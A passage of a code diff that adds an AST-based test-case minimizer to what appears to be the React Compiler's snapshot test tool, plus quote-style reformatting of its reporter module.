+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies for-in statements:
+ * - Replace with left (variable declaration or expression)
+ * - Replace with right expression
+ * - Replace with body
+ */
+function* simplifyForInStatements(ast: t.File): Generator<t.File> {
+  // Count for-in statements
+  let forInCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isForInStatement(node)) {
+      forInCount++;
+    }
+  });
+
+  // Try replacing with left
+  for (let targetIdx = 0; targetIdx < forInCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForInStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          const left = path.node.left;
+          if (t.isExpression(left)) {
+            path.replaceWith(t.expressionStatement(left));
+          } else {
+            path.replaceWith(left);
+          }
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with right
+  for (let targetIdx = 0; targetIdx < forInCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForInStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(t.expressionStatement(path.node.right));
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with body
+  for (let targetIdx = 0; targetIdx < forInCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForInStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.body);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies for-of statements:
+ * - Replace with left (variable declaration or expression)
+ * - Replace with right expression
+ * - Replace with body
+ */
+function* simplifyForOfStatements(ast: t.File): Generator<t.File> {
+  // Count for-of statements
+  let forOfCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isForOfStatement(node)) {
+      forOfCount++;
+    }
+  });
+
+  // Try replacing with left
+  for (let targetIdx = 0; targetIdx < forOfCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForOfStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          const left = path.node.left;
+          if (t.isExpression(left)) {
+            path.replaceWith(t.expressionStatement(left));
+          } else {
+            path.replaceWith(left);
+          }
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with right
+  for (let targetIdx = 0; targetIdx < forOfCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForOfStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(t.expressionStatement(path.node.right));
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with body
+  for (let targetIdx = 0; targetIdx < forOfCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForOfStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.body);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies variable declarations by removing init expressions.
+ * let x = expr; -> let x;
+ * var x = expr; -> var x;
+ * Note: const without init is invalid, so we skip const declarations.
+ */
+function* simplifyVariableDeclarations(ast: t.File): Generator<t.File> {
+  // Collect all variable declarators with init expressions (excluding const)
+  const declaratorSites: Array<{declIndex: number}> = [];
+  let declIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isVariableDeclaration(node) && node.kind !== 'const') {
+      for (const declarator of node.declarations) {
+        if (declarator.init) {
+          declaratorSites.push({declIndex});
+          declIndex++;
+        }
+      }
+    }
+  });
+
+  // Try removing init from each declarator
+  for (const {declIndex: targetDeclIdx} of declaratorSites) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    t.traverseFast(cloned, node => {
+      if (modified) return;
+      if (t.isVariableDeclaration(node) && node.kind !== 'const') {
+        for (const declarator of node.declarations) {
+          if (declarator.init) {
+            if (idx === targetDeclIdx) {
+              declarator.init = null;
+              modified = true;
+              return;
+            }
+            idx++;
+          }
+        }
+      }
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies try/catch/finally statements:
+ * - Replace with try block contents
+ * - Replace with catch block contents (if present)
+ * - Replace with finally block contents (if present)
+ */
+function* simplifyTryStatements(ast: t.File): Generator<t.File> {
+  // Count try statements
+  let tryCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isTryStatement(node)) {
+      tryCount++;
+    }
+  });
+
+  // Try replacing with try block contents
+  for (let targetIdx = 0; targetIdx < tryCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      TryStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.block);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with catch block contents (if present)
+  for (let targetIdx = 0; targetIdx < tryCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      TryStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx && path.node.handler) {
+          path.replaceWith(path.node.handler.body);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with finally block contents (if present)
+  for (let targetIdx = 0; targetIdx < tryCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      TryStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx && path.node.finalizer) {
+          path.replaceWith(path.node.finalizer);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies single-statement block statements:
+ * { statement } -> statement
+ */
+function* simplifySingleStatementBlocks(ast: t.File): Generator<t.File> {
+  // Count block statements with exactly one statement
+  let blockCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isBlockStatement(node) && node.body.length === 1) {
+      blockCount++;
+    }
+  });
+
+  for (let targetIdx = 0; targetIdx < blockCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      BlockStatement(path) {
+        if (modified) return;
+        if (path.node.body.length === 1 && idx === targetIdx) {
+          // Don't unwrap blocks that require BlockStatement syntax
+          if (
+            t.isFunction(path.parent) ||
+            t.isCatchClause(path.parent) ||
+            t.isClassMethod(path.parent) ||
+            t.isObjectMethod(path.parent) ||
+            t.isTryStatement(path.parent)
+          ) {
+            idx++;
+            return;
+          }
+          path.replaceWith(path.node.body[0]);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that removes array elements one at a time
+ */
+function* removeArrayElements(ast: t.File): Generator<t.File> {
+  // Collect all array expressions with their element counts
+  const arraySites: Array<{arrayIndex: number; elementCount: number}> = [];
+  let arrayIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isArrayExpression(node) && node.elements.length > 0) {
+      arraySites.push({arrayIndex, elementCount: node.elements.length});
+      arrayIndex++;
+    }
+  });
+
+  // For each array, try removing each element one at a time (from end to start)
+  for (const {arrayIndex: targetArrayIdx, elementCount} of arraySites) {
+    for (let elemIdx = elementCount - 1; elemIdx >= 0; elemIdx--) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      t.traverseFast(cloned, node => {
+        if (modified) return;
+        if (t.isArrayExpression(node) && node.elements.length > 0) {
+          if (idx === targetArrayIdx && elemIdx < node.elements.length) {
+            node.elements.splice(elemIdx, 1);
+            modified = true;
+          }
+          idx++;
+        }
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that removes JSX element attributes (props) one at a time
+ */
+function* removeJSXAttributes(ast: t.File): Generator<t.File> {
+  // Collect all JSX elements with their attribute counts
+  const jsxSites: Array<{jsxIndex: number; attrCount: number}> = [];
+  let jsxIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isJSXOpeningElement(node) && node.attributes.length > 0) {
+      jsxSites.push({jsxIndex, attrCount: node.attributes.length});
+      jsxIndex++;
+    }
+  });
+
+  // For each JSX element, try removing each attribute one at a time (from end to start)
+  for (const {jsxIndex: targetJsxIdx, attrCount} of jsxSites) {
+    for (let attrIdx = attrCount - 1; attrIdx >= 0; attrIdx--) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      t.traverseFast(cloned, node => {
+        if (modified) return;
+        if (t.isJSXOpeningElement(node) && node.attributes.length > 0) {
+          if (idx === targetJsxIdx && attrIdx < node.attributes.length) {
+            node.attributes.splice(attrIdx, 1);
+            modified = true;
+          }
+          idx++;
+        }
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that removes JSX element children one at a time
+ */
+function* removeJSXChildren(ast: t.File): Generator<t.File> {
+  // Collect all JSX elements with children
+  const jsxSites: Array<{jsxIndex: number; childCount: number}> = [];
+  let jsxIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isJSXElement(node) && node.children.length > 0) {
+      jsxSites.push({jsxIndex, childCount: node.children.length});
+      jsxIndex++;
+    }
+  });
+
+  // For each JSX element, try removing each child one at a time (from end to start)
+  for (const {jsxIndex: targetJsxIdx, childCount} of jsxSites) {
+    for (let childIdx = childCount - 1; childIdx >= 0; childIdx--) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      t.traverseFast(cloned, node => {
+        if (modified) return;
+        if (t.isJSXElement(node) && node.children.length > 0) {
+          if (idx === targetJsxIdx && childIdx < node.children.length) {
+            node.children.splice(childIdx, 1);
+            modified = true;
+          }
+          idx++;
+        }
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that removes JSX fragment children one at a time
+ */
+function* removeJSXFragmentChildren(ast: t.File): Generator<t.File> {
+  // Collect all JSX fragments with children
+  const fragmentSites: Array<{fragIndex: number; childCount: number}> = [];
+  let fragIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isJSXFragment(node) && node.children.length > 0) {
+      fragmentSites.push({fragIndex, childCount: node.children.length});
+      fragIndex++;
+    }
+  });
+
+  // For each fragment, try removing each child one at a time (from end to start)
+  for (const {fragIndex: targetFragIdx, childCount} of fragmentSites) {
+    for (let childIdx = childCount - 1; childIdx >= 0; childIdx--) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      t.traverseFast(cloned, node => {
+        if (modified) return;
+        if (t.isJSXFragment(node) && node.children.length > 0) {
+          if (idx === targetFragIdx && childIdx < node.children.length) {
+            node.children.splice(childIdx, 1);
+            modified = true;
+          }
+          idx++;
+        }
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that replaces single-element arrays with the element itself
+ */
+function* simplifySingleElementArrays(ast: t.File): Generator<t.File> {
+  // Count single-element arrays
+  let arrayCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isArrayExpression(node) && node.elements.length === 1) {
+      arrayCount++;
+    }
+  });
+
+  for (let targetIdx = 0; targetIdx < arrayCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ArrayExpression(path) {
+        if (modified) return;
+        if (path.node.elements.length === 1 && idx === targetIdx) {
+          const elem = path.node.elements[0];
+          if (t.isExpression(elem)) {
+            path.replaceWith(elem);
+            modified = true;
+          }
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that replaces single-property objects with the property value.
+ * For regular properties: {key: value} -> value
+ * For computed properties: {[key]: value} -> key (also try value)
+ */
+function* simplifySinglePropertyObjects(ast: t.File): Generator<t.File> {
+  // Count single-property objects
+  let objectCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isObjectExpression(node) && node.properties.length === 1) {
+      objectCount++;
+    }
+  });
+
+  // Try replacing with value
+  for (let targetIdx = 0; targetIdx < objectCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ObjectExpression(path) {
+        if (modified) return;
+        if (path.node.properties.length === 1 && idx === targetIdx) {
+          const prop = path.node.properties[0];
+          if (t.isObjectProperty(prop) && t.isExpression(prop.value)) {
+            path.replaceWith(prop.value);
+            modified = true;
+          }
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // For computed properties, also try replacing with key
+  for (let targetIdx = 0; targetIdx < objectCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ObjectExpression(path) {
+        if (modified) return;
+        if (path.node.properties.length === 1 && idx === targetIdx) {
+          const prop = path.node.properties[0];
+          if (
+            t.isObjectProperty(prop) &&
+            prop.computed &&
+            t.isExpression(prop.key)
+          ) {
+            path.replaceWith(prop.key);
+            modified = true;
+          }
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that removes object properties one at a time
+ */
+function* removeObjectProperties(ast: t.File): Generator<t.File> {
+  // Collect all object expressions with their property counts
+  const objectSites: Array<{objectIndex: number; propCount: number}> = [];
+  let objectIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isObjectExpression(node) && node.properties.length > 0) {
+      objectSites.push({objectIndex, propCount: node.properties.length});
+      objectIndex++;
+    }
+  });
+
+  // For each object, try removing each property one at a time (from end to start)
+  for (const {objectIndex: targetObjIdx, propCount} of objectSites) {
+    for (let propIdx = propCount - 1; propIdx >= 0; propIdx--) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      t.traverseFast(cloned, node => {
+        if (modified) return;
+        if (t.isObjectExpression(node) && node.properties.length > 0) {
+          if (idx === targetObjIdx && propIdx < node.properties.length) {
+            node.properties.splice(propIdx, 1);
+            modified = true;
+          }
+          idx++;
+        }
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that removes elements from array destructuring patterns one at a time
+ */
+function* removeArrayPatternElements(ast: t.File): Generator<t.File> {
+  // Collect all array patterns with elements
+  const patternSites: Array<{patternIndex: number; elementCount: number}> = [];
+  let patternIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isArrayPattern(node) && node.elements.length > 0) {
+      patternSites.push({patternIndex, elementCount: node.elements.length});
+      patternIndex++;
+    }
+  });
+
+  // For each pattern, try removing each element (from end to start)
+  for (const {patternIndex: targetPatternIdx, elementCount} of patternSites) {
+    for (let elemIdx = elementCount - 1; elemIdx >= 0; elemIdx--) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      t.traverseFast(cloned, node => {
+        if (modified) return;
+        if (t.isArrayPattern(node) && node.elements.length > 0) {
+          if (idx === targetPatternIdx && elemIdx < node.elements.length) {
+            node.elements.splice(elemIdx, 1);
+            modified = true;
+          }
+          idx++;
+        }
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that removes properties from object destructuring patterns one at a time
+ */
+function* removeObjectPatternProperties(ast: t.File): Generator<t.File> {
+  // Collect all object patterns with properties
+  const patternSites: Array<{patternIndex: number; propCount: number}> = [];
+  let patternIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isObjectPattern(node) && node.properties.length > 0) {
+      patternSites.push({patternIndex, propCount: node.properties.length});
+      patternIndex++;
+    }
+  });
+
+  // For each pattern, try removing each property (from end to start)
+  for (const {patternIndex: targetPatternIdx, propCount} of patternSites) {
+    for (let propIdx = propCount - 1; propIdx >= 0; propIdx--) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      t.traverseFast(cloned, node => {
+        if (modified) return;
+        if (t.isObjectPattern(node) && node.properties.length > 0) {
+          if (idx === targetPatternIdx && propIdx < node.properties.length) {
+            node.properties.splice(propIdx, 1);
+            modified = true;
+          }
+          idx++;
+        }
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that simplifies assignment expressions (a = b) -> a or b
+ */
+function* simplifyAssignmentExpressions(ast: t.File): Generator<t.File> {
+  // Count assignment expressions
+  let assignmentCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isAssignmentExpression(node)) {
+      assignmentCount++;
+    }
+  });
+
+  // Try replacing with left side (assignment target)
+  for (let targetIdx = 0; targetIdx < assignmentCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      AssignmentExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          const left = path.node.left;
+          if (t.isExpression(left)) {
+            path.replaceWith(left);
+            modified = true;
+          }
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with right side (assignment value)
+  for (let targetIdx = 0; targetIdx < assignmentCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      AssignmentExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.right);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies binary expressions (a + b) -> a or b
+ */
+function* simplifyBinaryExpressions(ast: t.File): Generator<t.File> {
+  // Count binary expressions
+  let binaryCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isBinaryExpression(node)) {
+      binaryCount++;
+    }
+  });
+
+  // Try replacing with left side
+  for (let targetIdx = 0; targetIdx < binaryCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      BinaryExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.left);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with right side
+  for (let targetIdx = 0; targetIdx < binaryCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      BinaryExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.right);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies member expressions (obj.value) -> obj
+ * For computed expressions: obj[key] -> obj or key
+ */
+function* simplifyMemberExpressions(ast: t.File): Generator<t.File> {
+  // Count member expressions
+  let memberCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isMemberExpression(node)) {
+      memberCount++;
+    }
+  });
+
+  // Try replacing with object
+  for (let targetIdx = 0; targetIdx < memberCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      MemberExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.object);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // For computed expressions, also try replacing with key
+  for (let targetIdx = 0; targetIdx < memberCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      MemberExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx && path.node.computed) {
+          const property = path.node.property;
+          if (t.isExpression(property)) {
+            path.replaceWith(property);
+            modified = true;
+          }
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Helper to collect all unique identifier names in the AST
+ */
+function collectUniqueIdentifierNames(ast: t.File): Set<string> {
+  const names = new Set<string>();
+  t.traverseFast(ast, node => {
+    if (t.isIdentifier(node)) {
+      names.add(node.name);
+    }
+  });
+  return names;
+}
+
+/**
+ * Helper to rename all occurrences of an identifier throughout the AST
+ */
+function renameAllIdentifiers(
+  ast: t.File,
+  oldName: string,
+  newName: string,
+): boolean {
+  let modified = false;
+  t.traverseFast(ast, node => {
+    if (t.isIdentifier(node) && node.name === oldName) {
+      node.name = newName;
+      modified = true;
+    }
+  });
+  return modified;
+}
+
+/**
+ * Generator that simplifies identifiers by removing "on" prefix.
+ * onClick -> Click
+ */
+function* simplifyIdentifiersRemoveOnPrefix(ast: t.File): Generator<t.File> {
+  const names = collectUniqueIdentifierNames(ast);
+
+  for (const name of names) {
+    // Check if name starts with "on" followed by uppercase letter
+    if (
+      name.length > 2 &&
+      name.startsWith('on') &&
+      name[2] === name[2].toUpperCase()
+    ) {
+      const newName = name.slice(2);
+      // Skip if the new name would conflict with an existing identifier
+      if (names.has(newName)) {
+        continue;
+      }
+      const cloned = cloneAst(ast);
+      if (renameAllIdentifiers(cloned, name, newName)) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that simplifies identifiers by removing "Ref" suffix.
+ * inputRef -> input
+ */
+function* simplifyIdentifiersRemoveRefSuffix(ast: t.File): Generator<t.File> {
+  const names = collectUniqueIdentifierNames(ast);
+
+  for (const name of names) {
+    // Check if name ends with "Ref" and has more characters before it
+    if (name.length > 3 && name.endsWith('Ref')) {
+      const newName = name.slice(0, -3);
+      // Skip if the new name would conflict with an existing identifier
+      if (names.has(newName)) {
+        continue;
+      }
+      // Skip if new name would be empty or just whitespace
+      if (newName.length === 0) {
+        continue;
+      }
+      const cloned = cloneAst(ast);
+      if (renameAllIdentifiers(cloned, name, newName)) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that rewrites "ref" identifier to "ref_" to avoid conflicts.
+ */
+function* simplifyIdentifiersRenameRef(ast: t.File): Generator<t.File> {
+  const names = collectUniqueIdentifierNames(ast);
+
+  if (names.has('ref')) {
+    // Only rename if ref_ doesn't already exist
+    if (!names.has('ref_')) {
+      const cloned = cloneAst(ast);
+      if (renameAllIdentifiers(cloned, 'ref', 'ref_')) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * All simplification strategies in order of priority (coarse to fine)
+ */
+const simplificationStrategies = [
+  {name: 'removeStatements', generator: removeStatements},
+  {name: 'removeCallArguments', generator: removeCallArguments},
+  {name: 'removeFunctionParameters', generator: removeFunctionParameters},
+  {name: 'removeArrayElements', generator: removeArrayElements},
+  {name: 'removeObjectProperties', generator: removeObjectProperties},
+  {name: 'removeArrayPatternElements', generator: removeArrayPatternElements},
+  {
+    name: 'removeObjectPatternProperties',
+    generator: removeObjectPatternProperties,
+  },
+  {name: 'removeJSXAttributes', generator: removeJSXAttributes},
+  {name: 'removeJSXChildren', generator: removeJSXChildren},
+  {name: 'removeJSXFragmentChildren', generator: removeJSXFragmentChildren},
+  {name: 'simplifyCallExpressions', generator: simplifyCallExpressions},
+  {name: 'simplifyConditionals', generator: simplifyConditionals},
+  {name: 'simplifyLogicalExpressions', generator: simplifyLogicalExpressions},
+  {name: 'simplifyBinaryExpressions', generator: simplifyBinaryExpressions},
+  {
+    name: 'simplifyAssignmentExpressions',
+    generator: simplifyAssignmentExpressions,
+  },
+  {name: 'simplifySingleElementArrays', generator: simplifySingleElementArrays},
+  {
+    name: 'simplifySinglePropertyObjects',
+    generator: simplifySinglePropertyObjects,
+  },
+  {name: 'simplifyMemberExpressions', generator: simplifyMemberExpressions},
+  {name: 'simplifyOptionalChains', generator: simplifyOptionalChains},
+  {name: 'simplifyAwaitExpressions', generator: simplifyAwaitExpressions},
+  {name: 'simplifyIfStatements', generator: simplifyIfStatements},
+  {name: 'simplifySwitchStatements', generator: simplifySwitchStatements},
+  {name: 'simplifyWhileStatements', generator: simplifyWhileStatements},
+  {name: 'simplifyDoWhileStatements', generator: simplifyDoWhileStatements},
+  {name: 'simplifyForStatements', generator: simplifyForStatements},
+  {name: 'simplifyForInStatements', generator: simplifyForInStatements},
+  {name: 'simplifyForOfStatements', generator: simplifyForOfStatements},
+  {
+    name: 'simplifyVariableDeclarations',
+    generator: simplifyVariableDeclarations,
+  },
+  {name: 'simplifyTryStatements', generator: simplifyTryStatements},
+  {
+    name: 'simplifySingleStatementBlocks',
+    generator: simplifySingleStatementBlocks,
+  },
+  {
+    name: 'simplifyIdentifiersRemoveOnPrefix',
+    generator: simplifyIdentifiersRemoveOnPrefix,
+  },
+  {
+    name: 'simplifyIdentifiersRemoveRefSuffix',
+    generator: simplifyIdentifiersRemoveRefSuffix,
+  },
+  {
+    name: 'simplifyIdentifiersRenameRef',
+    generator: simplifyIdentifiersRenameRef,
+  },
+];
+
+type MinimizeResult =
+  | {kind: 'success'}
+  | {kind: 'minimal'}
+  | {kind: 'minimized'; source: string};
+
+/**
+ * Core minimization loop that attempts to reduce the input source code
+ * while preserving the compiler error.
+ */
+export function minimize(
+  input: string,
+  filename: string,
+  language: 'flow' | 'typescript',
+  sourceType: 'module' | 'script',
+): MinimizeResult {
+  // Load the compiler plugin
+  const importedCompilerPlugin = require(BABEL_PLUGIN_SRC) as Record<
+    string,
+    unknown
+  >;
+  const BabelPluginReactCompiler = importedCompilerPlugin[
+    'default'
+  ] as PluginObj;
+  const parseConfigPragmaForTests = importedCompilerPlugin[
+    PARSE_CONFIG_PRAGMA_IMPORT
+  ] as typeof ParseConfigPragma;
+
+  // Get the initial error
+  const initialResult = compileAndGetError(
+    input,
+    filename,
+    language,
+    sourceType,
+    BabelPluginReactCompiler,
+    parseConfigPragmaForTests,
+  );
+
+  if (initialResult.kind === 'success') {
+    return {kind: 'success'};
+  }
+
+  if (initialResult.kind === 'parse_error') {
+    return {kind: 'success'};
+  }
+
+  const targetError = initialResult;
+
+  // Parse the initial AST
+  let currentAst = parseInput(input, filename, language, sourceType);
+  let currentCode = input;
+  let changed = true;
+  let iterations = 0;
+  const maxIterations = 1000; // Safety limit
+
+  process.stdout.write('\nMinimizing');
+
+  while (changed && iterations < maxIterations) {
+    changed = false;
+    iterations++;
+
+    // Try each simplification strategy
+    for (const strategy of simplificationStrategies) {
+      const generator = strategy.generator(currentAst);
+
+      for (const candidateAst of generator) {
+        let candidateCode: string;
+        try {
+          candidateCode = astToCode(candidateAst);
+        } catch {
+          // If code generation fails, skip this candidate
+          continue;
+        }
+
+        const result = compileAndGetError(
+          candidateCode,
+          filename,
+          language,
+          sourceType,
+          BabelPluginReactCompiler,
+          parseConfigPragmaForTests,
+        );
+
+        if (errorsMatch(targetError, result)) {
+          // This simplification preserves the error, keep it
+          currentAst = candidateAst;
+          currentCode = candidateCode;
+          changed = true;
+          process.stdout.write('.');
+          break; // Restart from the beginning with the new AST
+        }
+      }
+
+      if (changed) {
+        break; // Restart the outer loop
+      }
+    }
+  }
+
+  console.log('\n');
+
+  // Check if any minimization was achieved
+  if (currentCode === input) {
+    return {kind: 'minimal'};
+  }
+
+  return {kind: 'minimized', source: currentCode};
+}
diff --git a/compiler/packages/snap/src/reporter.ts b/compiler/packages/snap/src/reporter.ts
index 5ee7884c8426..29ca81e34597 100644
--- a/compiler/packages/snap/src/reporter.ts
+++ b/compiler/packages/snap/src/reporter.ts
@@ -5,41 +5,41 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import chalk from "chalk";
-import fs from "fs";
-import invariant from "invariant";
-import { diff } from "jest-diff";
-import path from "path";
+import chalk from 'chalk';
+import fs from 'fs';
+import invariant from 'invariant';
+import {diff} from 'jest-diff';
+import path from 'path';
 
 function wrapWithTripleBackticks(s: string, ext: string | null = null): string {
-  return `\`\`\`${ext ?? ""}
+  return `\`\`\`${ext ?? ''}
 ${s}
 \`\`\``;
 }
-const SPROUT_SEPARATOR = "\n### Eval output\n";
+const SPROUT_SEPARATOR = '\n### Eval output\n';
 
 export function writeOutputToString(
   input: string,
   compilerOutput: string | null,
   evaluatorOutput: string | null,
   logs: string | null,
-  errorMessage: string | null
+  errorMessage: string | null,
 ) {
   // leading newline intentional
   let result = `
 ## Input
 
-${wrapWithTripleBackticks(input, "javascript")}
+${wrapWithTripleBackticks(input, 'javascript')}
 `; // trailing newline + space internional
 
   if (compilerOutput != null) {
     result += `
 ## Code
 
-${wrapWithTripleBackticks(compilerOutput, "javascript")}
+${wrapWithTripleBackticks(compilerOutput, 'javascript')}
 `;
   } else {
-    result += "\n";
+    result += '\n';
   }
 
   if (logs != null) {
@@ -54,7 +54,7 @@ ${wrapWithTripleBackticks(logs, null)}
     result += `
 ## Error
 
-${wrapWithTripleBackticks(errorMessage.replace(/^\/.*?:\s/, ""))}
+${wrapWithTripleBackticks(errorMessage.replace(/^\/.*?:\s/, ''))}
           \n`;
   }
   result += `      `;
@@ -83,36 +83,36 @@ export async function update(results: TestResults): Promise<void> {
   for (const [basename, result] of results) {
     if (result.unexpectedError != null) {
       console.log(
-        chalk.red.inverse.bold(" FAILED ") + " " + chalk.dim(basename)
+        chalk.red.inverse.bold(' FAILED ') + ' ' + chalk.dim(basename),
       );
